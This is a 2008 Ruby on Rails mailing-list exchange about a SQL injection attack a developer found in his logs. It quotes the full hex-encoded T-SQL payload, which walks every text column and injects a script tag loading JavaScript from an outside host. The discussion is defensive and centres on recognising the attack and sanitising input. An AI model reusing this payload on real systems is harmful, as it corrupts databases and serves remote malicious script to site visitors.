While the payload may be slightly novel and quite crafty it looks like just good old fashioned SQL injection
Fred Sent from my iPhone On 2 Oct 2008, at 21:36, Jodi Showers <[EMAIL PROTECTED]> wrote: > I've found references to the following attack in our logs this week: > > http://www.lexa.ru/security-alerts/msg01435.html > > At the time of the above posts writing, it was targeted at IIS and > mysql - but the general scheme looks to be portable to other configs. > > Generally it passes a hex string, to be decoded and execute as a > series of sql statements (T_sql in this case). The code essentially > inserts javascript into each text/varchar field it finds in your > schema. > > A typical log entry looks like: > > Oct 02 07:01:54 www rails[31823]: Parameters: {"';DECLARE @S > CHAR(4000);SET > @S" > =>" > CAST( > 0x4445434C415245204054207661726368617228323535292C40432076617263686172 > 283430303029204445434C415245205461626C655F437572736F7220435552534F5220 > 464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F62 > 6A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 > 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 > > AS CHAR(4000));EXEC(@S);", "action"=>"show", "id"=>"310766-inhabit", > "controller"=>"companies"} > > Has anybody encountered this attack? > > I am cleansing all params (using whitelist). I suspect whitelist > isn't cleaning this(to be confirmed). Is this a new kind of param > cleansing we should be identifying? > > thanx for your thoughts. > > J > > > > > > --~--~---------~--~----~------------~-------~--~----~ You received this message because you are subscribed to the Google Groups "Ruby on Rails: Talk" group. To post to this group, send email to rubyonrails-talk@googlegroups.com To unsubscribe from this group, send email to [EMAIL PROTECTED] For more options, visit this group at http://groups.google.com/group/rubyonrails-talk?hl=en -~----------~----~----~----~------~----~------~--~---